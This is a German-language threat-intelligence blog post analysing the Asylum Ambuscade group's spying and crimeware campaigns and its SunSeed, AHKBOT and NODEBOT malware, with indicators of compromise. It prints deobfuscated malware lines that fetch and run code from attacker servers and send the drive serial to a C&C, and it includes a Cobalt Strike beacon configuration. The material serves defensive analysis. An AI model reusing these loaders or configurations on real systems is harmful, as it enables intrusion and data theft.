Asylum Ambuscade: Crimeware oder Cyberspionage?

Asylum Ambuscade ist eine Cybercrime-Gruppe, die nebenbei Cyberspionage betreibt. Sie wurde erstmals im März 2022 von Proofpoint-Forschern öffentlich geoutet, nachdem die Gruppe nur wenige Wochen nach Beginn des Krieges zwischen Russland und der Ukraine Mitarbeiter europäischer Regierungen angegriffen hatte, die ukrainischen Flüchtlingen helfen. In diesem Blogpost liefern wir Details über die Spionagekampagne Anfang 2022 und über mehrere Cybercrime-Kampagnen in den Jahren 2022 und 2023.

Cyberspionage-Kampagnen

Asylum Ambuscade führt seit mindestens 2020 Cyberspionage-Kampagnen durch. Wir fanden frühere Kompromittierungen von Regierungsbeamten und Mitarbeitern staatlicher Unternehmen in zentralasiatischen Ländern und Armenien.

Wie in der Proofpoint-Veröffentlichung hervorgehoben wird, hatte es die Gruppe im Jahr 2022 auf Regierungsbeamte in mehreren europäischen Ländern abgesehen, die an die Ukraine angrenzen. Wir gehen davon aus, dass es das Ziel der Angreifer war, vertrauliche Informationen und Webmail-Anmeldedaten von offiziellen Webmail-Portalen der Regierung zu stehlen.

Die Kompromittierungskette beginnt mit einer Spearphishing-E-Mail, die einen bösartigen Excel-Tabellenanhang enthält. Der darin enthaltene bösartige VBA-Code lädt ein MSI-Paket von einem Remote-Server herunter und installiert SunSeed, einen in Lua geschriebenen Downloader.

Beachtenswert ist hierbei, dass wir einige Variationen bei den Anhängen beobachtet haben. Im Juni 2022 verwendete die Gruppe anstelle von bösartigem VBA-Code einen Exploit der Follina-Schwachstelle (CVE-2022-30190). Dieses Dokument ist in Abbildung 1 dargestellt. Es ist in ukrainischer Sprache verfasst und bezieht sich auf eine Sicherheitswarnung zu einem Angriff von Gamaredon (einer anderen bekannten Spionagegruppe) in der Ukraine.

Abbildung 1. Dokument, das die Follina-Schwachstelle ausnutzt

Wenn der Rechner dann als interessant eingestuft wird, setzen die Angreifer die nächste Stufe ein: AHKBOT. Dabei handelt es sich um einen in AutoHotkey geschriebenen Downloader, der mit ebenfalls in AutoHotkey geschriebenen Plugins erweitert werden kann, um den Rechner des Opfers auszuspionieren. Eine Analyse des Toolsets der Gruppe folgt weiter unten im Blogpost.

Cybercrime-Kampagnen

Obwohl die Gruppe durch ihre Cyberspionage-Operationen ins Rampenlicht gerückt ist, hat sie seit Anfang 2020 hauptsächlich Cybercrime-Kampagnen durchgeführt.

Seit Januar 2022 haben wir weltweit mehr als 4.500 Opfer gezählt. Die meisten von ihnen befinden sich in Nordamerika, wie in Abbildung 2 dargestellt, aber es gibt auch Opfer in Asien, Afrika, Europa und Südamerika.

Abbildung 2. Geografische Verteilung der Opfer seit Januar 2022

Die Zielgruppe ist sehr breit gefächert und umfasst vor allem Privatpersonen, Kryptowährungshändler sowie kleine und mittlere Unternehmen (KMU bzw. SMB) in verschiedenen Branchen.

Während das Ziel bei Kryptowährungshändlern ziemlich offensichtlich ist - der Diebstahl von Kryptowährungen - wissen wir nicht genau, wie Asylum Ambuscade seinen Zugang zu KMUs monetarisiert. Es ist möglich, dass die Gruppe den Zugang an andere Crimeware-Gruppen verkauft, die zum Beispiel Ransomware einsetzen könnten. In unserer Telemetrie haben wir dies jedoch nicht beobachtet.

Die Kompromittierungskette der Crimeware von Asylum Ambuscade ist im Großen und Ganzen derjenigen sehr ähnlich, die wir für die Cyberspionage-Kampagnen beschreiben. Der Hauptunterschied ist der Kompromittierungsvektor, der folgendes sein kann:

• Eine bösartige Google-Anzeige, die auf eine Website mit einer bösartigen JavaScript-Datei umleitet (wie in diesem SANS Blogpost beschrieben)
• Mehrere HTTP-Umleitungen in einem Traffic Direction System (TDS). Das von der Gruppe verwendete TDS wird von Proofpoint als 404 TDS bezeichnet. Es wird nicht nur von Asylum Ambuscade verwendet, sondern auch von einem anderen Bedrohungsakteur, um Qbot zu verbreiten. Ein Beispiel für eine von urlscan.io erfasste Umleitungskette ist in Abbildung 3 dargestellt.

Abbildung 3. 404 TDS-Umleitungskette, wie von urlscan.io erfasst - die Zahlen geben die Umleitungen in der Reihenfolge an

Zusätzlich zu den verschiedenen Angriffsvektoren entwickelte die Gruppe SunSeed-Äquivalente in anderen Skriptsprachen wie Tcl und VBS. Im März 2023 entwickelte sie ein AHKBOT-Äquivalent in Node.js, das wir NODEBOT nannten. Wir glauben, dass diese Änderungen darauf abzielten, die Erkennung durch Sicherheitsprodukte zu umgehen. Ein Überblick über die Kompromittierungskette ist in Abbildung 4 dargestellt.

Abbildung 4. Kompromittierungskette

Attribution

Wir glauben, dass die Cyberspionage- und Cybercrime-Kampagnen von derselben Gruppe betrieben werden.

• Die Kompromittierungsketten sind bei allen Kampagnen fast identisch. Insbesondere SunSeed und AHKBOT werden häufig sowohl für Cybercrime als auch für Cyberspionage eingesetzt.
• Wir glauben nicht, dass SunSeed und AHKBOT auf dem Schwarzmarkt verkauft werden. Diese Tools sind im Vergleich zu anderen zum Verkauf stehenden Crimeware-Tools nicht sehr ausgefeilt, die Zahl der Opfer ist recht gering dafür, wenn es sich um ein von mehreren Gruppen gemeinsam genutztes Toolset handeln würde, und die Netzwerkinfrastruktur ist bei allen Kampagnen gleich.

Wir gehen daher davon aus, dass es sich bei Asylum Ambuscade um eine Gruppe von Cyberkriminellen handelt, die nebenbei noch Cyberspionage betreibt.

Wir glauben auch, dass diese drei Artikel Vorfälle im Zusammenhang mit der Gruppe beschreiben:

• Ein TrendMicro Artikel 2020: Credential Stealer Targets US, Canadian Bank Customers
• Ein Proofpoint Artikel 2022: Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement
• Ein Proofpoint Artikel 2023: Screentime: Sometimes It Feels Like Somebody's Watching Me

Toolset

Schädliche JavaScript-Dateien

Bei den meisten Crimeware-Kampagnen der Gruppe ist der Kompromittierungsvektor kein bösartiges Dokument, sondern eine JavaScript-Datei, die von dem zuvor dokumentierten TDS heruntergeladen wird. Beachten Sie, dass die Datei vom Opfer manuell ausgeführt werden muss. Daher versuchen die Angreifer, die Benutzer durch Dateinamen wie Document_12_dec-1532825.js, TeamViewer_Setup.js oder AnyDeskInstall.js zum Anklicken der Dateien zu verleiten.

Diese Skripte sind mit zufälligen Variablennamen und Junk-Code verschleiert, die höchstwahrscheinlich dazu dienen, Entdeckungen zu umgehen. Ein Beispiel ist in Abbildung 5 dargestellt.

Abbildung 5. Verschleierter JavaScript-Downloader

Nach der Entschlüsselung lässt sich dieses Skript in zwei Zeilen zusammenfassen:

var obj = new ActiveXObject("windowsinstaller.installer");
obj.InstallProduct("https://namesilo.my[.]id/css/ke.msi");

First-Stage Downloader

Die Downloader der ersten Stufe werden von einem MSI-Paket abgelegt, das entweder von einem bösartigen Dokument oder einer JavaScript-Datei heruntergeladen wird. Es gibt drei Versionen dieses Downloaders:

• Lua (SunSeed)
• Tcl
• VBS

SunSeed ist ein Downloader, der in der Sprache Lua geschrieben und stark verschleiert ist, wie in Abbildung 6 dargestellt.

Abbildung 6. Die SunSeed-Lua-Variante ist stark verschleiert

Nach der manuellen Entschleierung sieht die Hauptfunktion des Skripts wie folgt aus:

require('socket.http')
serial_number = Drive.Item('C').SerialNumber
server_response = socket.request(http://84.32.188[.]96/ + serial_number)
pcall(loadstring(server_response))
collectgarbage()
<jump to the start and retry>

Es ermittelt die Seriennummer des Laufwerks C: und sendet eine GET-Anfrage an http://<C&C>/<Seriennummer> unter Verwendung des User-Agenten LuaSocket 2.0.2. Anschließend versucht es, die Antwort auszuführen. Das bedeutet, dass SunSeed erwartet, zusätzliche Lua-Skripte vom C&C-Server zu erhalten. Wir haben zwei dieser Skripte gefunden: install und move.

install ist ein einfaches Lua-Skript, das ein AutoHotkey-Skript in C:\ProgramData\mscoree.ahk und den legitimen AutoHotkey-Interpreter nach C:\ProgramData\mscoree.exe herunterlädt, wie in Abbildung 7 gezeigt. Dieses AutoHotkey-Skript ist AHKBOT, der Downloader der zweiten Stufe.

Abbildung 7. Lua-Skript zum Herunterladen eines AutoHotkey-Skripts

Ein noch einfacheres Lua-Skript, move, ist in Abbildung 8 dargestellt. Es wird verwendet, um die Verwaltung eines betroffenen Computers von einem C&C-Server auf einen anderen zu übertragen. Es ist nicht möglich, den fest kodierten SunSeed-C&C-Server zu aktualisieren; um eine C&C-Neuzuweisung abzuschließen, muss ein neues MSI-Installationsprogramm heruntergeladen und ausgeführt werden, genau wie beim ersten Angriff auf den Computer.

Abbildung 8. Lua-Skript zur Verlagerung der Verwaltung eines kompromittierten Computers von einem C&C-Server auf einen anderen

Wie bereits erwähnt, haben wir eine weitere Variante von SunSeed gefunden, die mit der Sprache Tcl anstelle von Lua entwickelt wurde (siehe Abbildung 9). Der Hauptunterschied besteht darin, dass die Seriennummer des C:-Laufwerks nicht in der GET-Anfrage übermittelt wird.

Abbildung 9. SunSeed-Variante in Tcl

Die dritte Variante wurde in VBS entwickelt, wie in Abbildung 10 dargestellt. Der Hauptunterschied besteht darin, dass hier kein zusätzlicher Code heruntergeladen und interpretiert wird, sondern ein MSI-Paket heruntergeladen und ausgeführt wird.

Abbildung 10. SunSeed-Variante in VBS

Second-Stage Downloader

Der wichtigste Downloader der zweiten Stufe ist AHKBOT, entwickelt in AutoHotkey. Wie in Abbildung 11 zu sehen ist, sendet er eine GET-Anfrage mit dem User-Agent AutoHotkey (der von AutoHotkey verwendete Standardwert) an http://<C&C>/<Seriennummer_des_C-Laufwerks>-RP, fast genau wie der frühere SunSeed. RP könnte ein Kampagnenbezeichner sein, da er sich von Sample zu Sample ändert.

Abbildung 11. AHKBOT

AHKBOT ist auf der Festplatte an verschiedenen Stellen zu finden, z. B. unter C:\ProgramData\mscoree.ahk oder C:\ProgramData\adb.ahk. Es lädt Spionage-Plugins herunter, die ebenfalls in AutoHotkey entwickelt wurden und interpretiert sie. Eine Zusammenfassung der 21 Plugins finden Sie in Tabelle 1.

Tabelle 1. SunSeed Plugins

Die Plugins senden das Ergebnis über eine Log-Funktion an den C&C-Server zurück, wie in Abbildung 12 dargestellt.

Abbildung 12. Log-Funktion

Im März 2023 entwickelten die Angreifer eine Variante von AHKBOT in Node.js, die wir NODEBOT nennen - siehe Abbildung 13.

Abbildung 13. NODEBOT

Die Angreifer haben auch einige AHKBOT-Plugins in JavaScript umgeschrieben, um sie mit NODEBOT kompatibel zu machen. Bislang haben wir die folgenden Plugins beobachtet (ein Sternchen bedeutet, dass das Plugin neu für NODEBOT ist):

• connect
• deskscreen
• hardware
• hcmdon (eine Reverse Shell in Node.js)*
• hvncoff
• hvncon
• keylogoff
• keylogon (den AutoHotkey Keylogger herunterladen und ausführen)
• mods (hVNC herunterladen und installieren)*
• passwords
• screen

Fazit

Asylum Ambuscade ist eine Gruppe von Cyberkriminellen, die es hauptsächlich auf kleine und mittelständische Unternehmen und Einzelpersonen in Nordamerika und Europa abgesehen hat. Sie scheint sich jedoch zu verzweigen und hat in letzter Zeit nebenbei einige Cyberspionage-Kampagnen gegen Regierungen in Zentralasien und Europa durchgeführt.

Es ist recht ungewöhnlich, dass eine Cybercrime-Gruppe gezielte Cyberspionage-Operationen durchführt, und daher sind wir der Meinung, dass Forscher die Aktivitäten von Asylum Ambuscade genau verfolgen sollten.

IoCs

Files

Network

Cobalt Strike configuration

BeaconType                       - HTTP
Port                             - 80
SleepTime                        - 45000
MaxGetSize                       - 2801745
Jitter                           - 37
MaxDNS                           - Not Found
PublicKey_MD5                    - e4394d2667cc8f9d0af0bbde9e808c29
C2Server                         - snowzet[.]com,/jquery-3.3.1.min.js
UserAgent                        - Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)
HttpPostUri                      - /jquery-3.3.2.min.js
Malleable_C2_Instructions        - Remove 1522 bytes from the end
                                   Remove 84 bytes from the beginning
                                   Remove 3931 bytes from the beginning
                                   Base64 URL-safe decode
                                   XOR mask w/ random key
HttpGet_Metadata                 - ConstHeaders
                                   	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                   	Referer: http://code.jquery.com/
                                   	Accept-Encoding: gzip, deflate
                                   Metadata
                                   	base64url
                                   	prepend "__cfduid="
                                   	header "Cookie"
HttpPost_Metadata                - ConstHeaders
                                   	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                   	Referer: http://code.jquery.com/
                                   	Accept-Encoding: gzip, deflate
                                   SessionId
                                   	mask
                                   	base64url
                                   	parameter "__cfduid"
                                   Output
                                   	mask
                                   	base64url
                                   	print
PipeName                         - Not Found
DNS_Idle                         - Not Found
DNS_Sleep                        - Not Found
SSH_Host                         - Not Found
SSH_Port                         - Not Found
SSH_Username                     - Not Found
SSH_Password_Plaintext           - Not Found
SSH_Password_Pubkey              - Not Found
SSH_Banner                       - 
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\dllhost.exe
Spawnto_x64                      - %windir%\sysnative\dllhost.exe
CryptoScheme                     - 0
Proxy_Config                     - Not Found
Proxy_User                       - Not Found
Proxy_Password                   - Not Found
Proxy_Behavior                   - Use IE settings
Watermark                        - 206546002
bStageCleanup                    - True
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - False
bProcInject_UseRWX               - False
bProcInject_MinAllocSize         - 17500
ProcInject_PrependAppend_x86     - b'\x90\x90'
                                   Empty
ProcInject_PrependAppend_x64     - b'\x90\x90'
                                   Empty
ProcInject_Execute               - ntdll:RtlUserThreadStart
                                   CreateThread
                                   NtQueueApcThread-s
                                   CreateRemoteThread
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - NtMapViewOfSection
bUsesCookies                     - True
HostHeader                       - 
headersToRemove                  - Not Found
DNS_Beaconing                    - Not Found
DNS_get_TypeA                    - Not Found
DNS_get_TypeAAAA                 - Not Found
DNS_get_TypeTXT                  - Not Found
DNS_put_metadata                 - Not Found
DNS_put_output                   - Not Found
DNS_resolver                     - Not Found
DNS_strategy                     - round-robin
DNS_strategy_rotate_seconds      - -1
DNS_strategy_fail_x              - -1
DNS_strategy_fail_seconds        - -1

MITRE ATT&CK techniques

This table was built using version 13 of the MITRE ATT&CK framework.